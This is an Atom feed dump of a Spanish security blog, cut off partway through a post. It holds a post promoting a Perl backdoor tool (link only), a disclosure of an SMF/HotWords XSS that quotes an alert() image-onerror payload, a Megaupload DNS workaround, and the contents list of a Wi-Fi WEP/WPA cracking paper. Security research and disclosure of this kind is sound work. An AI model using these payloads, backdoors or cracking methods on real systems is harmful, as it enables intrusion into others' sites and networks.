<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2806641995089653786</id><updated>2012-01-26T22:14:03.184+01:00</updated><category term='Libros'/><category term='Protección XSS'/><category term='seguridad wireless'/><category term='webs amigas'/><category term='Tabnapping'/><category term='Flisol'/><category term='Session Poisoning'/><category term='Otras Vulnerabilidades'/><category term='Expression Blend'/><category term='Cabeceras'/><category term='Phising'/><category term='general'/><category term='Anecdotario'/><category term='Visual Studio .NET'/><category term='Papers míos'/><category term='Privilege Escalade'/><category term='HTTP'/><category term='backtrack'/><category term='CRLF Injections'/><category term='Software libre'/><category term='File Inclusion'/><category term='internet'/><category term='Payloads'/><category term='SQLi'/><category term='Visual Basic .NET'/><category term='C# .NET'/><category term='Evadir Snort'/><category term='HTML5'/><category term='advisories'/><category term='CSRF/XSRF'/><category term='Técnicas'/><category term='LINQ'/><category term='huellas'/><category term='aircrack'/><category term='Eliminación'/><category term='Herramientas'/><category term='Colaboraciones'/><category term='.Htacces'/><category term='gnu/linux'/><category term='0-day'/><category term='Metadatos'/><category term='White Papers'/><category term='CheatSheet'/><category term='CSS Attacks'/><category term='Java'/><category term='Backdoors'/><category term='SMF'/><category term='Enumeración'/><category term='E-Mails'/><category term='Rootear'/><category term='wireless'/><category term='Redes Sociales'/><category term='Retos'/><category term='Hacking Framework'/><category term='Session Hijacking'/><category term='Bash'/><category term='Clickjacking'/><category term='Cookies'/><category term='XSS'/><category term='WPF'/><category term='Seguridad por oscuridad'/><category term='Browser Rider'/><title type='text'>0V3RL04D 1N TH3 N3T</title><subtitle type='html'>Vulnerabilitys &amp;amp; more&lt;br&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>93</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3158325457152460503</id><published>2012-01-25T10:30:00.003+01:00</published><updated>2012-01-25T10:40:24.498+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webs amigas'/><title type='text'>Root Codes</title><content type='html'>¡Saludos!&lt;br /&gt;&lt;br /&gt; Escribo esta entrada para dar a conocer la web &lt;a href="http://http://rootcodes.com"&gt; Root Codes&lt;/a&gt; de mi amigo &lt;a href="https://twitter.com/0x5d"&gt;@0x5d (JaAvier)&lt;/a&gt;. En ella podremos encontrar sources, tutoriales y libros (todo orientado a la programación). Además nos permite mandar nuestros propios programas para que sean publicados allí.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3158325457152460503?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3158325457152460503/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3158325457152460503' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3158325457152460503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3158325457152460503'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2012/01/root-codes.html' title='Root Codes'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5225871393769337751</id><published>2012-01-12T01:52:00.002+01:00</published><updated>2012-01-12T01:57:48.617+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='Backdoors'/><category scheme='http://www.blogger.com/atom/ns#' term='Rootear'/><title type='text'>Backfos v0.3 [A perl backdoor]</title><content type='html'>¡Saludos!&lt;br /&gt;&lt;br /&gt;  Hechando un vistazo en mi discoduro externo me he encontrado con una carpeta donde fuí metiendo distintas herramientas que estuve creando cuando los miembros del FoS Team estaban activos. &lt;br /&gt;&lt;br /&gt;   La versión que publiqué fue la v0.2 y es la que podeis encontrar en varios foros y comunidades, pero en la mencionada carpeta encontré una v0.3 que en teoría te mostraba los rootexploits a los que era vulnerable la versión del kernel del servidor donde lo ejecutabas, por lo que tenía un gran interés.&lt;br /&gt;&lt;br /&gt;  No la he vuelto a probar, por lo que no sé si es funcional, confirmadmelo en los comentarios.&lt;br /&gt;&lt;br /&gt;Source =&gt; &lt;a href="http://www.portalhacker.net/index.php/topic,148266.msg698948/topicseen.html#msg698948"&gt;BackFoS v0.3&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5225871393769337751?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5225871393769337751/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5225871393769337751' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5225871393769337751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5225871393769337751'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2012/01/backfos-v03-perl-backdoor.html' title='Backfos v0.3 [A perl backdoor]'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6430698426588280530</id><published>2012-01-06T15:41:00.006+01:00</published><updated>2012-01-06T16:08:12.679+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SMF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>HotWords hace tu foro vulnerable</title><content type='html'>¡Saludos!&lt;br /&gt;&lt;br /&gt;  Estos últimos días encontré casi por error un XSS en &lt;a href="http://www.portalhacker.net/index.php"&gt; Foro PortalHacker&lt;/a&gt;. Al moderar la sección de "Seguridad Web" me encontré con que en algunos posts los tags HTML eran incluidos tal cual, sin filtrado alguno, por lo que éstos eran interpretados por el navegador. Este hecho me extrañó bastante en tanto que el foro es SMF, y en las versiones anteriores no me había encontrado con esta vulnerabilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Empecé a investigar un poco más y me topé con que este hecho no se daba en todos los posts, sino que únicamente aparecía en aquellos donde había publicidad (apenas unos días antes se había incluido para poder cubrir gastos, sin aviso alguno al staff), y únicamente cuando el tag HTML estaba cerca de una palabra reseñada con publicidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Asi que empecé a hacer pruebas como loco, y a la conclusión que llegué es que SMF realiza el filtrado de la forma correcta, convirtiendo &amp;lt; en &amp;&lt;i&gt;&lt;/i&gt;lt; pero posteriormente cuando HotWords incluye la publicidad, transforma &amp;&lt;i&gt;&lt;/i&gt;lt; en &amp;lt; y por tanto quedan como tags HTML. &lt;br /&gt;&lt;br /&gt;   Habiendo encontrado cómo actuaba, sólo me quedaba encontrar una forma de explotarlo 100% efectiva. Para tal fin, lo que había que hacer era crear un post en el cual incluimos alguna de las palabras que solía reseñar con publicidad, como "web", "video" o "bueno", y posteriormente editar el post para colocar junto a la palabra reseñada el exploit (&amp;lt;img src="." onerror="alert(8);"&gt;). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Otro método alternativo para que HotWords bypasseara el filtro anti-XSS de SMF fue encontrado por &lt;a href="https://twitter.com/0x5d"&gt;@0x5d&lt;/a&gt;, y consistía en crear un post con: &amp;lt;img src="." onerror="alert(8)" alt="bueno"&gt;. &lt;br /&gt;&lt;br /&gt; Actualmente se ha eliminado hotWords del foro, por lo que no es vulnerable ya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6430698426588280530?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6430698426588280530/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6430698426588280530' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6430698426588280530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6430698426588280530'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2012/01/hotwords-hace-tu-foro-vulnerable.html' title='HotWords hace tu foro vulnerable'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-98897727944773021</id><published>2011-11-29T23:09:00.001+01:00</published><updated>2011-11-30T02:18:39.977+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='general'/><title type='text'>Megaupload y los DNS</title><content type='html'>&amp;nbsp; Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como:&lt;br /&gt;-&amp;gt;&amp;nbsp; &lt;a href="http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload"&gt;http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Una solución para esto es cambiar nuestros DNS por los de &lt;a href="http://www.opendns.com/"&gt;openDNS&lt;/a&gt; (por poner un ejemplo) con los que si que funciona:&lt;br /&gt;&lt;br /&gt;208.67.222.222&amp;nbsp;&amp;nbsp; /&amp;nbsp; 208.67.220.220&lt;br /&gt;&lt;br /&gt;La otra forma de acceder es no utilizar un servidor dns y acceder mediante IP. Veamos mediante que ips podemos acceder a megaupload:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;[alpha@alpha-pc ~]$ nslookup www.megaupload.com&lt;/b&gt;&lt;br /&gt;Server:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222&lt;br /&gt;Address:&amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222#53&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.20&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.21&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.22&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.23&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.24&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.12&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.13&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.14&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.15&lt;/blockquote&gt;&amp;nbsp;Cualquiera de las ips mostradas con nslookup nos llevará a &lt;i&gt;www.megaupload.com&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Si ahora queremos acceder a un archivo, podemos hacerlo concatenando una de las IPs obtenidas antes junto con la url de megaupload quitando la parte de &lt;i&gt;"www.megaupload.com".&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; Con ejemplos se ve más claro: &lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Si tenemos la url -&amp;gt; &lt;/i&gt;http://www.megaupload.com/?d=ES4KXK52&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;su equivalente seria -&amp;gt;&lt;/i&gt; &lt;i&gt;http://174.140.154.15/?d=ES4KXK52&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;es decir -&amp;gt;&amp;nbsp; &lt;/i&gt;174.140.154.15 + &lt;strike&gt;http://www.megaupload.com&lt;/strike&gt;/?d=ES4KXK52&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;es&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;174.140.154.15/?d=ES4KXK52&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Con una de estas dos posibilidades podemos salir al paso y continuar teniendo acceder a &lt;i&gt;megaupload&lt;/i&gt; mientras se soluciona este contratiempo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Actualización&lt;/b&gt;:&lt;br /&gt;&amp;nbsp; Como ha comentado un usuario en &lt;a href="https://404storeengineer.wordpress.com/2011/11/29/megaupload-y-los-dns/#comment-19"&gt;otro blog&lt;/a&gt; donde había publicado el post al pulsar el botón de descarga nos daba un error de que la pagina no existía. Esto sucede porque megaupload utiliza otra url para descargar los archivo, ahora veremos como lo solucionamos:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Una vez nos aparezca el botón de descargar si ponemos el cursor sobre el veremos que la url cambia a&lt;i&gt; www122.megaupload.com&lt;/i&gt; con lo al realizar un &lt;b&gt;nslookup&lt;/b&gt; sobre la dirección vemos una ip distinta a las anteriores:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;[alpha@alpha-pc ~]$ nslookup www122.megaupload.com&lt;/b&gt;&lt;br /&gt;Server:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222&lt;br /&gt;Address:&amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222#53&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www122.megaupload.com&lt;br /&gt;Address: 95.211.95.67&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp; Con esta información pulsamos sobre el botón de descarga y nos saldrá un error, que siguiendo con el ejemplo anterior sería:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;entonces &lt;b&gt;realizaremos el mismo proceso que antes&lt;/b&gt;:&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Si tenemos la url -&amp;gt;&amp;nbsp;&lt;/i&gt;http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;su equivalente seria -&amp;gt;&lt;/i&gt; &lt;i&gt;http://&lt;/i&gt;95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;es decir -&amp;gt;&amp;nbsp; &lt;/i&gt;95.211.95.67 + &amp;nbsp; &lt;strike&gt;http://www122.megaupload.com&lt;/strike&gt;/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;es&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;i&gt;http://&lt;/i&gt;95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp; Con todo esto ya deberíamos poder descargar sin problemas ;)&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Un saludo&lt;/i&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;b style="color: red;"&gt;Aetsu&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-98897727944773021?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/98897727944773021/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=98897727944773021' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/98897727944773021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/98897727944773021'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/11/megaupload-y-los-dns.html' title='Megaupload y los DNS'/><author><name>Aetsu</name><uri>http://www.blogger.com/profile/18194172477660347832</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='25' src='http://4.bp.blogspot.com/-qwUVLnUJsJs/TxBSDSFsE3I/AAAAAAAAAPM/bRoXwgO50XI/s220/zorro.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5692548447177282579</id><published>2011-11-23T01:32:00.001+01:00</published><updated>2011-11-23T12:57:01.482+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seguridad wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='gnu/linux'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='backtrack'/><title type='text'>Paper #breaking80211</title><content type='html'>&amp;nbsp; Buenas, soy &lt;a href="https://twitter.com/#%21/aetsu"&gt;&lt;b&gt;Aetsu&lt;/b&gt;&lt;/a&gt; y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o programación.&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Solo queda agradecer a &lt;b&gt;The X-C3LL&lt;/b&gt; que me permita participar en el blog y aquí os dejo mi último &lt;i&gt;paper&lt;/i&gt;, &lt;b style="color: orange;"&gt;&lt;span style="font-size: small;"&gt;#breaking80211&lt;/span&gt;&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;h1 data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span data-mce-style="color: #ff0000;" style="color: red;"&gt;&lt;b&gt;#breaking80211&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img338.imageshack.us/img338/6081/imagentz.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="303" src="http://img338.imageshack.us/img338/6081/imagentz.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;span data-mce-style="color: #000080;" style="color: navy;"&gt;by&lt;b&gt; Aetsu&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;h2 data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;span data-mce-style="color: #000080;" style="color: navy;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;b&gt;--- &lt;span data-mce-style="color: #008000;" style="color: green;"&gt;Contenido&lt;/span&gt; ---&lt;/b&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Introducción&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Materiales/Herramientas utilizados&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Conceptos básicos&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt; [-] Cambiar dirección MAC&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Modo monitor&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Cifrado WEP&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque 1+3&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque Chop Chop&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque fragmentación&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Hirte Attack&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Caffe Late Attack&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Cifrado WPA&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo el handshake&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Aircrack-ng&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: coWPAtty&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Pyrit&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Obteniendo la contraseña: Rainbow Tables&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Rainbow Tables -&amp;gt; coWPAtty&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Rainbow Tables -&amp;gt; Pyrit&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Otras defensas&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Filtrado MAC&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Ataque de desasociación&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] ESSID oculto&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Descifrar capturas&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Airdecap-ng + WEP&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Airdecap-ng + WPA&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataques sociales -- Creación de puntos de acceso&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Airbase-ng + brctl&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] Airbase-ng + iptables&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataque sociales -- Ataques en LAN&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] DNS-spoofing con Ettercap y Metasploit&lt;/i&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;i&gt; [-] S.E.T.&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Ataques sociales -- Todo en uno&lt;/i&gt;&lt;br /&gt;&lt;i&gt; [-] Karmetasploit&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;[+] Documentación&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;h1 data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;span style="color: black; font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-mce-style="color: #ff0000;" style="color: red;"&gt;&lt;span style="color: black; font-size: x-small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="color: #38761d;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;&lt;h1 data-mce-style="text-align: center;" style="text-align: center;"&gt;&lt;b style="color: #38761d;"&gt;&lt;span 